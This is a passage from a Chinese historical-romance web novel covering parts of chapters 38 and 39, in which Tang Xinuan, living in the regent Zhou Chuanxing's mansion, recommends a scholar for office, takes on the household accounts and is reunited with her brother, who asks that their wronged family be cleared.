“寒公子，你家住哪里，明天我去找你。” 唐兮暖想都不想就要回他，又被小倩抢了先。 “我们家老爷管得严，公子是不能随便交朋友的，不如孙公子留个地址，我们方便出来就去找你。” 孙卿兆随手指了一家客栈，“就那里吧，你们能出来就去那家客栈找我。” 唐兮暖一心要把银子送给周川行。 可她回到家时,周川行还没回来。 下午她睡了一觉，醒后还是没见到周川行,一直等到天黑,人还是没回来。 “魏公公，二郎每天都这么忙吗？”t 魏公公如实回她：“王爷日理万机,每天忙的连饭都顾不上吃，也就是姑娘来这几天王爷才抽空休息一下,平常啊，老奴都见不到他人。” 唐兮暖心疼周川行这么辛苦。 也不知道自己能帮他什么。 没从侯府出来时就答应帮他对付族人，可自从她出来一直生病，还要他照顾。 这两天倒是好些了,可她光顾着出去玩闹，也没想着为他分担。 唐兮暖吃饱睡足，坐在亭子里一边荡着秋千一边琢磨，她到底能帮周川行做什么。 “魏公公，”唐兮暖摆了摆手，让他来自己身边，“二郎平时最发愁的事情是什么呢？” 魏公公还真知道一些，“要说咱们王爷最发愁的事，那当然是朝政了。” 唐兮暖哪里懂朝政，她也不荡秋千了，歪着小脑袋沉思。 “女人又不能做官，再说我也不懂啊，魏公公你能不能说的详细些？” 魏公公把最近王爷遇到的麻烦事，一一说给唐兮暖。 “本来啊，这些话不该老奴多嘴，可唐姑娘您不是外人，老奴就实话实说了。” 唐兮暖很高兴魏公公没拿她当外人，“快说快说。” 她坐着魏公公站着太高了，不方便谈话。 “搬把椅子过来，慢慢说。” 魏公公可不敢坐，可唐兮暖非让他坐，他便坐了块椅子边。 “王爷从十三岁就出去打仗，去年才回朝，皇上身体不好，把这偌大的江山都交给咱们王爷了，王爷哪处理过朝政。 唉，这一年啊，老奴看着王爷过来的，不知道多少天王爷忙着处理朝政一整晚一整晚都不能睡。 可那些个老臣，哪个是好对付的。 对他们太好了，他们以为你没威严，没能力。 对他们严苛吧，背地里使绊子，拉帮结派和王爷对着干。 去年王爷生气了，杀了一批才好些。 可这些人也不老实，只是做的更隐秘了。 这一年多，王爷不停的感叹，要是朝廷多招些有能力的青年才俊就好了。 可咱们大周朝都十几年没开过科举了。 新上任的官员啊，都是其他官员推荐的。 唐姑娘您想啊，谁推荐的人不和自己沾亲带故，这时间一长，朝廷里还有几个能用的人才……” 魏公公这段话，唐兮暖听进去了。 之前她不知道怎么帮周川行。 这会倒是有些想法。 只要她能找到很多有才能的人，让这些人去当官，就能替下那些老混蛋，帮周川行分忧了。 可她去哪里寻找有才能的人呢？ 对了，孙卿兆那么聪明，肯定是当官的料。 干脆推荐给周川行。 肯定能帮他。 唐兮暖本来想等周川行回来，她已经想到一个很好的办法帮他。 可一直熬到眼皮打架也没见到人影。 小倩劝她：“小姐，您还是早点休息吧，好不容易才好些，万一熬坏了，又得王爷照顾您。” 唐兮暖从善如流，“那我睡吧，你也睡。” 周川行是后半夜回来的。 今天皇上忽然醒了一会儿，他和端王急忙赶进宫。 兄弟三人执手相看泪眼，谁也不知道说什么好。 皇上挣扎着要写遗诏，想趁着自己还有能力的时候亲手把大周江山交给二弟。 周川行看出他的意图，拦着没让。 周川行没有当皇帝的野心，余生只想陪喜欢的姑娘纵情山水。 皇上清醒没一会又睡过去了，这事便作罢。 如果是往常，这个时辰才处理完朝政，周川行大约要在宫里住下。 如今家里有了喜欢的姑娘，他一刻都不想在外边多待。 端王还调侃他几句：“这么晚还折腾什么，住宫里得了。” 周川行随口回道：“你想住你就住，我得回家。” 端王才不想一个人留在宫里，“我还是跟你去吧。” 下午周川行命人调查姚麒麟的身份背景，晚上有了回信。 “王爷，”陶罐走在轿子旁边，把调查来的信息一字不漏的说给周川行，“姚麒麟本名不叫姚麒麟，而叫姚麟，是姚太傅最小的儿子……” 周川行纳闷道：“以前怎么没听说过，姚太傅还有这么聪明一个儿子？” 陶罐回道：“姚麟是姚太傅和一名青楼的花魁所生，听说那花魁长得极其漂亮，被姚太傅养在外边，当年漂亮的时候，姚太傅对着很好，如今人老珠黄，姚太傅看不上就嫌弃了。 不光嫌弃她年老色衰，还嫌弃她出身不好。 连累着姚麟都不受待见。 我听说，下午姚麟回去后被姚太傅一顿毒打，说是参加彩月楼的比赛上不了台面，又跟一名女子并列，丢男人的脸…… 反正姚太傅是哪哪都看不上这个儿子，可能当成人生污点。” 端王忍不住骂道：“这个太傅也太过分了点。” 陶罐也很生气，“可不是，我听说这两年姚太傅连生活费都不怎么给了，全靠着姚麟写字卖画为生，他这次参加彩月楼大赛，为的就是几十两赏金。 听说他娘病了，很耗银子，他这才出来的。 还招来太傅一顿打。” 端王最见不得这种事了，他看向周川行，“二哥，要不要帮帮姚麟？” 周川行不太想管这事。 “马上就科举了，姚麟真有才学，肯定能中个举人。” 陶罐生气道：“王爷，您不知道，姚麟参加不了科举。” 端王下意识问：“为什么？” 陶罐：“我打听了，姚太傅不给举荐，也不许旁人举荐，他说一个青楼女子生的孩子凭什么进朝堂，对了，就算这样，昨天睿王找他作弊，他还是没同意。” 周川行这次是真生气了，“明天你带姚麟来见我。” 姚麟拿了第三名都能得到摄政王召见，第二名应该更有分量。 端王问道：“那孙卿兆呢？” 周川行毫不犹豫的拒绝：“一个心眼子比筛子还多的人，算了吧。” 比赛结束，楚衍晴惦记表姐，自然想找到人把她的情况打听清楚。 不过转身和端王搭句话，再回头去找，人就不见了。 彩月楼比赛，整条街堵满了人。 她跳着脚张望，哪里还有表姐的影子。 不过看表姐的穿着打扮，全都是名贵绸缎，像个清贵的小公子，应该不会差就是了。 楚衍晴担心大哥作夭，决定先回家，改天有机会再出门寻找。 她回到家，大哥果然在作夭。 他把所有看守翠竹园的婢女、小厮、侍卫全都殴打一遍。 这些天，他想起来便要折磨一回。 各个惨不忍睹，全身上下都没有好地方了。 青柠和荔枝被打的最狠，奄奄一息躺在地上，已经没了半条命。 楚衍晴心口直犯恶心，她命人找府医过来给这些人看伤。 “大哥，你到底要闹到什么时候？” 楚衍诺已经疯了。 自从知道表妹离开他，他就疯了。 “表妹一天不回来，我就会折磨他们一天。” 幸亏没追上表姐，楚衍晴暗自庆幸，否则她肯定忍不住告诉大哥真相。 “你自己拍着胸脯想想，这事怪他们吗？是表姐她要离开你，你怎么不反思一下自己都做了什么！” 楚衍诺没什么好反思的。 他虽然给不了表妹名分，可他对表妹好啊。 他的第一次还给了表妹呢。 楚衍晴如果能听到他的心声，没准会恶心死。 可楚衍诺一点都不觉得恶心。 他对表妹一心一意，恨不得把全世界最好的东西全都给她。 这些年，他没要过通房，也没有过别的女人，一心一意对她，她到底有什么不满足的。 甚至他还打算和魏敏娴有了孩子之后，就再也不碰她了。 他找大夫开些能让男人不孕不育的药，再也不让表妹喝那种苦药。 这些年，他让表妹喝了不少避子汤，他知道对她不好。 可情之所至，不也是因为爱她么！ 为什么，表妹就不能体会他的心情呢！ “楚衍晴，你是我妹妹，我希望你能站在我这边，从今天开始，你也去给我找人，半个月找不到人，别怪我把你嫁出去。” 楚衍诺这个嫁出去，绝对不是想给妹妹找个良人，他就是迁怒。 楚衍晴气得浑身发抖。 满眼含泪的瞪着楚衍诺：“活该你失去表姐，这都是你应得的。” 楚言晴今天在聪明人大赛上拿到第三名，还是唯一一名女子，公主又当场赏赐，名噪京城。 当天下午就有人请媒人上门。 是个刚死了媳妇的小公爷。 癖好特殊，还家暴。 亡妻就是被他打死的。 早见过楚衍晴美貌，心痒难耐，今天又见到楚衍晴夺得t最聪明人大赛的风采，两个时辰都没熬住，就上门了。 刚开始只打发个媒人，后来听说楚世子丢了表妹，亲自带着国公府的侍卫上门。 楚衍诺瞧不上这种人。 直截了当的拒绝。 小公爷当即把自己带来的人交给楚世子，“从今天开始，这些人都听楚世子指挥，直到找到表妹。” 楚衍诺缺少人手。 再找不到表妹，他肯定会失控到发疯。 稍一犹豫，接受了小公爷的人手。 不过婚事没应。 他总觉得小妹知道表妹的下落，只要小妹肯说出来，他倒也不想难为这个亲妹妹。 可如果她不识抬举，就不能怪他这个哥哥心狠手辣了。 楚衍诺和小公爷初步达成协议，两个人少不得出去喝点。 酒足饭饱，他一个人往侯府走。 谁知道竟然被人套了麻袋，被人劈头盖脸好一顿揍。 如果不是他武功高，这夜深人静的，多半要被人打死。 待他挣扎出来，立刻派人寻找行凶者。 竟然是前些天弹劾他的郑建安。 这个郑建安朝堂上骂了摄政王，被当场下狱，这么多天都没见人影。 楚衍诺还以为他被摄政王秘密处死了。 郑建安虽然是虞国公的小儿子。 可虞国公从年轻时候就昏聩，如果不是仗着祖辈的荫蔽，又没有其他兄弟，怎么可能封得上国公爷。 这些年，朝廷视他为无物，他一个国公爷，满朝大臣没有一个人把他放在眼里。 谁见面都要打趣几句。 他的小儿子，更没人当回事了。 被摄政王处死，不过一句话的事。 可楚衍诺没想到，郑建安还活着，还敢对他下黑手。 他当即带人赶到虞国公府，让虞国公把人交出来。 虞国公吓得瑟瑟发抖，话都说不清楚了。 郑建安倒是机灵，从后院跑了。 楚衍诺带人寻了一整宿都没找到人。 天亮才憋着一肚子气回到侯府。 …… 周川行半夜回家，没忍住悄悄推开唐兮暖的卧室。 像个会伺候人的大宫女，把小姑娘露在外边的手臂放回被子里。 已经入夏的季节，天气逐渐炎热。 小姑娘不愿意被束缚在被子里，刚放进去，她就甩开被子亮了出来。 周川行坐在床边，默默盯着她安静的睡颜，忍俊不禁。 不管怎么说，小姑娘还是来到了他身边。 庆幸吧！ 老天待他不薄。 第二天周川行很早起来，已经有朝臣来到王府候着，有重要朝政需要他处理。 江南出现很严重的贪墨案，竟然死了十几个人。 这可是自从他大哥上位以来，最大的贪墨了。 震惊宇内。 周川行立刻命人拟旨，派左丞相为钦差大臣过去处理。 山西出现一伙很大规模的山匪，打家劫舍，强抢民女，无恶不作，造成很严重的后果。 周川行临时将禁军统领调过来借用，派去山西剿匪。 夏季来临，黄河很容易发生水患，工部呈文，很多堤坝需要修建，人力财力缺一不可。 可这两样都是大周朝所缺的。 人才早已经出现严重断层。 他根本无人可派。 至于工程款…… 朝廷打了几十年的仗，能给这些朝廷大臣发出俸禄就不错了，哪来的银子拨给工部。 偏偏北域传来消息，大部分流民都愿意迁到内地，但仍有少部分拼死反抗。 砸了朝廷发的农具，吃了朝廷给的种子，打了朝廷派过去安置灾民的官员。 …… 这一桩桩一件件，皆是令人头疼的大事。 周川行看着堆得和小山似的折子，恨不得全都抱起来给他皇兄送过去。 这狗屁朝政，他一天都不想管。 想和小姑娘一起吃早饭是不成了。 连午饭都没挤出时间。 他只捡紧要的处理完，都已经过了午时。 陶罐适时过来汇报。 “王爷，昨个半夜，郑建安把楚世子打了。” 周川行烦躁道：“真会惹事。” 陶罐把后续的事情汇报完，“楚世子查到真相，郑建安跑了，王爷您约了郑建安今天下午见面，还见吗？” 周川行头疼的按了按眉心，“你告诉芍药，让她未时末伺候着唐姑娘换衣服，我要带她出门。” 之前在宫里伺候唐兮暖的三名大宫女，周川行带出来两个。 一个留在宫里照料。 如今在伺候唐兮暖的是芍药和白芷。 两个人每人带八名宫女，轮班侍奉。 胖了有赏，瘦了挨罚。 哪个宫女不尽心尽力，唐兮暖肉眼可见的丰腴起来。 唐兮暖今天起来后第一件事便询问周川行有没有回来。 得知他半夜回来，一大早又去忙差事，心疼极了。 “他怎么这么多事，那么多朝臣都不干活吗。” 魏公公笑着回她：“王爷是大周朝的柱石，什么事都离不开他，别人可替不了。” 唐兮暖把她昨天得的银子拿出来又装回去，好可惜，还没找到时间给他。 “唐姑娘，”芍药接到消息赶过来告诉唐兮暖，“王爷让奴婢未时末伺候您换衣服，王爷要带您出去。” 唐兮暖一喜，“真的？” 芍药点头：“刚陶罐过来通知的，肯定是真的。” 唐兮暖把银子放好，又让小倩把她所有男装都找出来。 这些男装全都是周川行吩咐尚衣局给她订做的。 光夏季的就做了十几套。 唐兮暖才穿过两套。 “这套怎么样？”唐兮暖拿过一套蓝色的问小倩。 小倩点了点头，“好看。” 芍药和魏公公也说好看。 唐兮暖便决定了，“就这套蓝色的，下午穿。” 王爷这么忙还要带她出去，唐兮暖开心极了，不过还是担心，“王爷这么忙，会不会很辛苦？” 芍药不敢乱说。 魏公公笑道：“只要姑娘好，王爷就不觉得累了。” 唐兮暖怀疑他在哄傻子。 “你们说，我能为王爷做什么呢？” 小倩了解小姐，琢磨了半天也没想到什么。 芍药闭口不言。 魏公公想了想，说道：“要不唐姑娘亲自给王爷做顿饭？” 唐兮暖从来没下过厨。 她不觉的自己有这个能力。 “可以吗？” 她看向小倩，小倩急忙摆手，万一小姐把王爷家的厨房点着就麻烦了。 魏公公似乎明白了小倩的意思。 芍药一直没说话，魏公公看向她：“你觉得呢？” 芍药倒是有些想法，可她不敢乱说。 王爷待唐姑娘比自己的命都重要，万一惹唐姑娘不痛快，她还活不活。 魏公公看向芍药，唐兮暖也就看向她，“芍药，你说。” 芍药迟疑着说道：“唐姑娘是大周朝最聪明的姑娘，不如您帮王爷把账房管起来。” 唐兮暖没明白她什么意思，“管账房？” 芍药解释道：“就是府里的中馈，咱们王府所有的采买、花费以及收入等等。” 唐兮暖明白了，“我知道了，姑母家的中馈都是姑母在管，后来表妹大了，也会帮忙。” 她虽然很懂算学，可一直没有亲身做过这些。 也不确定自己能不能做好。 不过表哥觉得她肯定做不好。 否则表哥也不会娶魏姑娘了。 “那……我试试？” 魏公公和芍药几乎异口同声道：“对，唐姑娘可以试试，唐姑娘肯定能做好。” “大周朝最聪明的女子，怎么可能管不好一个小小王府的中馈。”—— 作者有话说：楚衍诺：表妹连侯府的中馈都管不了，能管王府！ 第38章 唐兮暖忽然忙碌起来。 周川行每天都很忙,她不能吃白食，要尽可能的帮他。 朝中的事，她不懂,不过她可以举贤纳才。 让有能力的人帮他分担。 府里的账务，他没时间管理，这个是她擅长的范围。 虽然一开始不知道从哪里入手,可她用心研究，一定能把王府的账务打理的井井有条。 而且，魏公公和芍药都相信她呢。 她从来没像此刻这般信心满满，觉得自己也是一个有用的人。 “你们两个，都很有眼光，本姑娘很开心。 说干就干，一会见到王爷，我就跟他说，从今天开始，不对,从明天开始，把王府的帐交给我管理。” 唐兮暖高兴,魏公公和芍药都跟着高兴。 唐兮暖进府第二天,王爷吩咐了，谁能哄着唐姑娘开心,有赏。 等王爷闲了，他们就去汇报,肯定能拿到赏赐。 和魏公公素来不睦的张公公，看他把唐兮暖哄得心花怒放，心里充满不屑。 王府的账务一直由师爷管理，是王爷请回来的老秀才。 谁不知道,当家主母才能管理府中账务。 唐姑娘虽得王爷宠爱，可毕竟没有名分，王爷怎么可能把中t馈交给她。 魏公公和芍药两个人只管哄唐姑娘开心，却没看清自己的身份，等着被王爷责罚吧。 谁不知道摄政王铁石心肠，得罪了他，轻则打板子，重则打完板子赶出王府。 如今唐兮暖竟然主动跟王爷要掌管中馈的大权，这是想要王府的管家权。 这可是王妃的待遇。 真不是跟王爷逼婚？ 唐兮暖心里哪有那么多弯弯绕。 她想到管理账务就只是管理账务。 下午未时末，芍药伺候着她换好衣服。 随后和小倩一起跟着魏公公来到小勤政殿。 周川行不去宫里办差，需要接待王公大臣，处理政务，便在府里设立一个小勤政殿。 唐兮暖每次出府都有两个保镖跟着。 这是明着，周川行还给她派了暗卫。 都是绝顶高手，至于多少暗卫，谁也不清楚。 昨天跟唐兮暖出门的是紫苏和连翘。 当初周川行给唐兮暖派了四名女保镖，两对双胞胎。 另外一对是黄芪和百合。 紫苏和连翘明着跟着她的时候，黄芪和百合便要暗中跟随。 黄芪性格和紫苏差不多。 稳重、心细、有担当，关键时刻反应机敏，是个十分可靠的姑娘。 百合的性格和连翘差不多。 活泼、冲动、还有点侠义心肠。 这两天黄芪和百合都充当了暗卫的工作。 晚上还好隐身，青天白日的，哪里可以藏身。 王爷还要求她们，唐姑娘出现危险，她们要在十个数内赶到她身边。 这两天彩月楼比赛，人山人海连正常看热闹的人都无处下脚。 何况她们了。 躲房顶吧，容易被官差看见，以为他们要干什么坏事。 躲树上吧，一棵树就那么几个杈。 去早了熬不住，去晚抢不上地方。 关键这两天观看比赛的大人物太多。 哪个大人物不得带几个暗卫。 这些暗卫撞到一起，少不得争抢最佳地点。 昨天端王的两个暗卫就和睿王的两个暗卫因为一个树杈子打起来了。 她们姐妹看了半天热闹。 百合腿都蹲麻了。 今天说什么都不想当暗卫了。 一看见唐兮暖出门，立刻赶到她面前刷存在感。 “唐姑娘，我和黄芪也想为姑娘效劳，您今天带我们两个出去吧。” 连翘不是好眼色瞧她。 “唐姑娘，这两天都是我们跟您出去的，我们路熟，还是用我们吧。” 唐兮暖不知道这里边的猫腻。 “你们都想跟着我出去？” “是啊。” “是啊。” 连翘和百合异口同声。 唐兮暖为难了。 她带着小倩，再带四个侍卫，声势也太大了点。 “要不你们四个石头剪子布，谁赢了谁去。” 四个姑娘你看看我，我看看你，迟疑着出手。 结果是黄芪和百合赢了。 百合得意道：“今天我跟姑娘出门。” 气得连翘鼻子都歪了，“姐，换夜行衣去。” …… 今天周川行和唐兮暖一起出门，没打算让唐兮暖带侍卫。 看见黄芪和百合，吩咐道：“你们两个暗中跟着就行。” 百合：“……” 有点绷不住了。 暗中跟着，还是暗卫的工作。 她又得抢树杈子去了。 “是，王爷。” 她不情不愿的应着，拉着黄芪纵身从房顶跳走了。 唐兮暖现在有很重要的三件事要做。 在周川行开口前，她抢先说道：“你别说话，我先说。” 喜欢的姑娘当然要纵容到底，周川行柔声道：“好，你先说。” 唐兮暖把小包裹递给他，“这是我昨天得到的赏金，全都给你。” 小姑娘竟然把一百两银子全都给他了。 周川行心里充满了感动。 “谢谢我家姑娘，我收了。” 想到自己忙了一天，都没时间陪她，满心歉意：“昨天忙起来没顾上，我家姑娘得了第一名，是大周朝最聪明的人，我这里也有奖赏。” 唐兮暖高兴坏了，“是什么奖励？” 周川行问道：“你想要什么？” 唐兮暖一时没想到：“那我能不能留着这个机会，等我想起来跟你要。” 周川行毫不犹豫地点头，“好，给你留着。” 唐兮暖爬上马车开始说第二件事。 “我听说朝廷缺人才你才这么辛苦，那我给你推荐一个好不好？” 周川行知道她要推荐的是谁，没说话。 唐兮暖分析道：“你看你从昨天走了一直忙到我睡着都没回来，今天早晨也没见到你，早饭午饭，我们都没在一起吃。 如果有很多很多人帮你，那你就不用这么忙了，是不是？” 这话打动了周川行。 他确实不喜欢心眼子太多的人。 所以他没考虑过孙卿兆。 不过小姑娘举荐他有理有据，而孙卿兆确实有才。 他破个例也未尝不可。 “好，暖暖给我推荐谁？” “孙卿兆，”唐兮暖毫不犹豫道。 周川行转身吩咐马车外的陶罐：“明天带孙卿兆来王府。” 唐兮暖意识不到，她这一次推荐对孙卿兆来说意味着什么，对朝廷来说意味着什么，对那些削尖了脑袋想往上爬的人意味着什么。 更不知道对周川行来说意味着什么。 当然，他们谁也想不到若干年后，孙卿兆做到尚书，做到内阁首辅，曾经她的推荐会改变那么多人的人生。 唐兮暖浑然没当回事，周川行如此轻易就答应她了。 她还有第三件事要周川行同意。 “二郎，我想管王府的账务，可以吗？” 周川行有些诧异：“你要管账？” 唐兮暖点了点头：“我想知道自己的能力，也想帮你分担，可是我不知道自己能做什么，你觉得呢？” 唐兮暖人长得漂亮，一双眼睛尤其招人。 被她静静盯着看的时候，清澈的瞳眸里含了几分狡黠，无端令人心动。 周川行此刻心跳如鼓。 他像中了蛊般，点头：“你想做就做吧。” 唐兮暖高兴了，“二郎，你真好。” 周川行忍不住笑了，“不辛苦吗？” 唐兮暖也不清楚，“先试试看，如果辛苦我就不做了，你会怪我吗？” 周川行怎么可能怪她，“不会，你做不做我都支持你。” 唐兮暖三件心事都达成，终于关注到了周川行出行的目的。 “对了，你要带我去哪？” 周川行点了点她的小鼻子，“带你认识一个朋友。” “朋友？”唐兮暖忽然想起一件事，“孙卿兆是我第二个好朋友，昨天我还想让你们两个见面的，好可惜呢。” 周川行不想她留遗憾，“明天就能见了。” 唐兮暖高兴了，“那就好。” 周川行和唐兮暖很快到了八宝斋的包厢。 这是唐兮暖第一次来外边的大酒楼吃饭，哪里都新鲜。 “二郎，我们要在这里吃晚饭吗？” 周川行点了点头：“你想吃什么？” 唐兮暖不知道酒楼都能吃什么，“吃什么都可以吗？” 周川行：“这家酒楼还不错，只要你点出来，应该都能做。” 唐兮暖想了几道菜，周川行让陶罐记下来，吩咐厨师去做。 大约一盏茶的时间，端王带着郑建安来了。 此时包厢里只有周川行、唐兮暖、端王和郑建安。 唐兮暖发现屋里来了陌生人，问周川行：“二郎，你带我见的朋友是他吗？” 周川行没说话，眼神里多了几分复杂的意味，点了点头。 唐兮暖仔细观察这位陌生的男人。 巧了，对方也在观察着她。 很小很小的时候，他们一家人过得很幸福。 她作为唐家最小的女儿，祖父祖母对她都很好。 爹娘恩爱，兄弟姐妹和睦，她每天都过得很开心。 直到五岁那年，父亲获罪，满门被诛，只活下她一个心智不全的小女儿…… “暖暖……”郑建安先认出了唐兮暖。 唐兮暖怔愣片刻，也不知道怎么回事，眼睛莫名发酸，眼泪稀里哗啦的往下落。 “哥哥，哥哥，你是哥哥，”眼泪怎么都擦不干，唐兮暖哭着抱住郑建安，“哥哥，你是哥哥，哥哥……” 郑建安眼中含泪，他没想到分开十几年，小妹还能认出他。 当年分开的时候，小妹才五岁。 还不知道分别的意义，更不懂一家人获罪意味着什么。 她被父亲送进侯府，求侯爷一家庇护。 一晃就过去了十四年。 “暖暖，”郑建安把人松开，上上下下检查，打量，“姑母一家对你好不好？楚衍诺那个混蛋，是不是嫌弃你，他有没有欺负你？” 当年唐家把小女儿送进侯府，虽没明说，可其中的意思很明白，以后要定给楚衍诺，给他做妻子。 可楚衍诺竟然娶了魏国公的女儿。 郑建安知道这事的时候，怎么可能不生气。 他恨不得把人打死。 唐兮暖不想提侯府。 “哥哥，我离开侯府了。” 郑t建安也是昨晚才知道的。 刚听说楚衍诺和魏家定亲，他朝堂上弹劾楚衍诺，大骂摄政王，被摄政王关进大牢，昨天才出来。 自然不清楚这些天外边都发生了什么。 “那你现在住哪？安不安全？哥哥带你回国公府，以后跟着哥哥……” 周川行一直坐在靠窗的位置喝茶，闻言皱了皱眉。 端王是他的嘴替。 “郑公子，唐姑娘可不能跟你回去。” 郑建安脸色一寒，下意识把小妹护在身后，“我骂摄政王是我不对，可我已经关了一个多月的大牢，我妹妹她是无辜的，她什么都不懂，你们别难为她。” 端王解释道：“郑公子，你误会了，唐姑娘住在王府，很安全，你带她走，反倒会给她带来危险。” 郑建安皱眉。 唐兮暖好不容易见到哥哥，自然想跟哥哥走，“我不怕危险，我要跟哥哥走。” 周川行握着水杯的手指不由得用力，指节开始泛白。 小姑娘没良心，见到亲人就要走。 端王继续解释：“唐姑娘，可不止你有危险，你哥哥也会有危险。” 唐兮暖不明白，“我哥哥能有什么危险？” 端王犹豫着看了他二哥一眼，二哥没说话，看来是要让小姑娘死心了。 “你二哥本该是个死人，十四年前被问斩的人，如今好端端的活在世上，怎么解释？” 唐兮暖脸色大变。 端王又道：“这不光连累他，还会连累虞国公一家，以及当初救下他的所有人。” 唐兮暖心口逐渐凉了下去。 她擦干眼泪，努力挤出一丝笑。 “哥哥，我在王府很好，二郎他对我很好，你不用担心我。” 二郎？ 郑建安不由得看向摄政王。 这里只有他排行老二。 和楚世子比起来，这个摄政王才是个吃人不吐骨头的野兽。 他把小妹拉到旁边，悄声问：“他有没有欺负你？” 唐兮暖摇了摇头：“他对我很好。” 郑建安有些难以出口，担心小妹不明白，干脆说得直白些，“他有没有和你一起睡觉？” 唐兮暖仍然摇头：“我自己睡呢，二郎说了，我给不了他名分，他不会碰我的。” 郑建安松了口气。 没想到摄政王竟然还能做点人事。 “那就好，暖暖记住，不成亲，不能和男人亲近。” 唐兮暖记住了，“谁欺负我，我就用簪子戳他。” 郑建安如今的身份确实不能带小妹走。 他们唐家被人陷害，到现在还没翻案，小妹因为年纪小，又因为心智不全，仇人放过了她。 可不代表，他一个死了十几年的人忽然出现后，仇家还能放过。 沉思片刻，他拉着小妹的手来到摄政王面前。 兄妹一起跪下。 “唐家后人请求摄政王为我唐家平反，还我唐家枉死的十三口人一个公道。” 唐兮暖学着哥哥的口吻说：“唐家后人请求摄政王为我唐家平反，还我祖父母、爹娘、叔叔婶婶堂姐、管家等十三口人一个公道。” 周川行俯身扶起唐兮暖，“起来说话。” 唐兮暖转身扶起郑建安。 “二郎，你帮我家平反好不好？我祖父母，爹娘都不是坏人呢。” 周川行今天带唐兮暖来见郑建安，自然有为他家平凡的打算。 不过十几年的旧案了，还是先帝在的时候做下的。 又牵涉到当朝国丈，中宫皇后，哪有那么容易。 “暖暖，你信不信我？” 唐兮暖毫不犹豫地点头，“我信。” 她眼里清明，澄澈，不含一丝杂质。 周川行拉着她坐下，“我需要时间。” 唐兮暖不急在这一时，“多久呢？” 周川行：“三年吧。” 十几年都过去了，唐兮暖不差三年，“好，我等你。” 周川行就怕小姑娘哭着闹着，要他现在给一个说法。 此刻，终于松了口气。 “郑建安，你明天去北域吧，任期满再回来，那时，我希望暖暖的花轿从你们唐家光明正大的抬出来。” 他要娶的是唐家姑娘，自然不会让她的身份蒙尘。 这是他给小姑娘的承诺，也是给自己的承诺。 一天做不到，就一天不娶。 郑建安也没奢望能立刻为唐家平凡。 陷害他们唐家的是当朝国丈。 皇后为皇上生育了唯一一个女儿。 后位稳固。 就算江山易主，皇后的身份仍然尊贵。 周川行虽然是摄政王，可他的地位并没有多稳固。 在外统兵打仗他在行，可回朝后，面对的是朝堂侵染几十年的老奸巨猾。 还有一个对皇位虎视眈眈的睿王。 他能不能撑住都难说。 何况为他唐家平反。 “微臣感激王爷大恩，明天就出发，一定会守住大周朝最北边那片沃土。” 周川行嘱咐道：“不许一个百姓死，三年内一定要教会他们农耕、贸易，让他们自食其力，你也不许死，给本王平平安安的回来。” 郑建安肩负重任，“微臣一定会做到。” 他舍不得小妹，刚见面就要分开，“也请王爷……照顾好小妹，她心思单纯，求您护她，爱她，此恩微臣一定厚报。 父母在天上，也会感念王爷大恩。” 他说着，又跪了下去。 这次周川行亲自扶起他，“有我在一天，就绝不会委屈她一点。” “让开——” 门外忽然想起楚衍诺争吵的声音。 陶罐亲自守着门口，说什么都不肯让，“王爷在里边吃饭，楚世子注意身份。” 楚衍诺亲眼看见郑建安进了八宝斋，他刚被郑建安打完，这口气怎么可能咽下去。 “我要找王爷讨个说法。” 陶罐把人拦住：“那我先去汇报一声。” 陶罐打开门，楚衍诺就着门缝往里瞅，被陶罐一个冷刀子眼给瞪回去了。 周川行见不见楚衍诺无所谓，主要看唐兮暖的态度。 “你要见吗？” 唐兮暖不想见，“我去里边玩。” 周川行示意陶罐放楚衍诺进来。 郑建安看见楚衍诺眼里冒火，攥着拳头又要冲上去打人。 不过楚衍诺武功高，直来直往的，郑建安讨不到便宜。 两个人剑拔弩张，谁看谁都不顺眼。 楚衍诺指着自己的青眼框，“王爷，都是这个混蛋，昨晚偷袭，把我打成这样，求王爷做主，还我一个公道。” 端王没忍住嗤笑出声，“不知道的，还以为楚世子昨晚偷人被人打的。” 郑建安也没忍住笑了出来。 只有周川行一脸严肃，清了下嗓子，“郑建安到底怎么回事？” 郑建安没好气道：“我就看他不顺眼，渣男！” 楚衍诺就想不明白了，“我怎么渣了？再说渣不渣和你什么关系，我们侯府和虞国公府向来井水不犯河水，你先弹劾我，昨天又揍我，怎么我抢你媳妇了！” 郑建安以前还挺喜欢这个表弟的。 如今只想把人大卸八块。 “今天王爷找我过来，是想让我去北域，这差事原本是楚世子的，既然楚世子已经完成大婚，还是让楚世子自己去吧。” 楚衍诺怎么可能甘心去北域。 原本他是打算带表妹一起去的。 可表妹走了，他不找到人，绝对不会离开京城。 “王爷，微臣最近身体不适，实在无法远行，还求王爷体谅。” 第39章 从始至终,周川行也没打算让楚衍诺去北域。 一来楚衍诺不是一个能吃苦的人。 再者，把北域那种边境重镇交给他，自己也不放心。 最重要的是,武安侯就这一个儿子，他身体不好，说不定哪天就走了。 到时候楚衍诺还要回来奔丧,北域那么重要的地方，中途换人，有害无益。 今天既然碰到这了，不妨把话说开。 周川行不耐烦地朝郑建安摆了摆手。 随后一改不耐烦的神色，温和道：“楚世子，本王知道你家里出事了，听说你还病了一场。 北域边陲小镇，离京城上千里地，本王念及侯爷当年对我们周家的救命大恩，不忍你们骨肉分离,是以……” 他凉凉瞥了一眼郑建安，“此人朝堂辱骂本王,不给他点教训,还以为本王人人可欺。” 楚衍诺本来就不想去北域，那么远的地方,面对的又是十万暴民，有没有命回来还不一定。 如果不是有尚书之位吊着,他之前都不会同意。 如今表妹失踪，尚书之位已经对他失去诱惑。 改成郑建安去最合适不过了。 就让他死在那边才好。 “微臣感谢王爷体谅，郑中丞文武全才，是大周朝的中流砥柱,有他做北域的父母官，保证百姓安居乐业。” 他收回对郑建安的厌恶，拱手道喜，“我在这里先祝郑……知府，在北域建立不世之功，t早日回朝。” 郑建安知道他没安好心，也不多言，“希望楚世子是真心道喜。” 周川行看楚衍诺不顺眼，想到他对小姑娘做的那些事，恨不得掐死他。 事情一谈完，他便开始赶人，“楚世子退下吧。” 楚衍诺退出包厢越想越不对，他是来找郑建安报仇的，怎么糊里糊涂的放过他了。 还想再进包厢，却被陶罐拦住。 摄政王态度虽好，可到底是一只吃人的猛兽。 楚衍诺思来想去，不宜得罪太过。 传闻摄政王好男色，郑建安长得唇红齿白，一副女儿做派，两个人又约在这种地方，很难不让人多想。 罢了罢了，就放过郑建安好了。 反正他这次去北域凶多吉少，能不能活着回来还不一定。 楚衍诺迟疑着往楼下走，忽然感觉转角处有个人影闪过，他大步流星的追过去，却被一个身穿紧身衣的女子拦住。 最近做什么都不顺，他也懒得追究，干脆回了侯府。 他先回到秋爽斋，询问魏敏娴，“你和郑建安有来往吗？” 如果他没记错，郑建安第一次针对他就是在他定下婚事后。 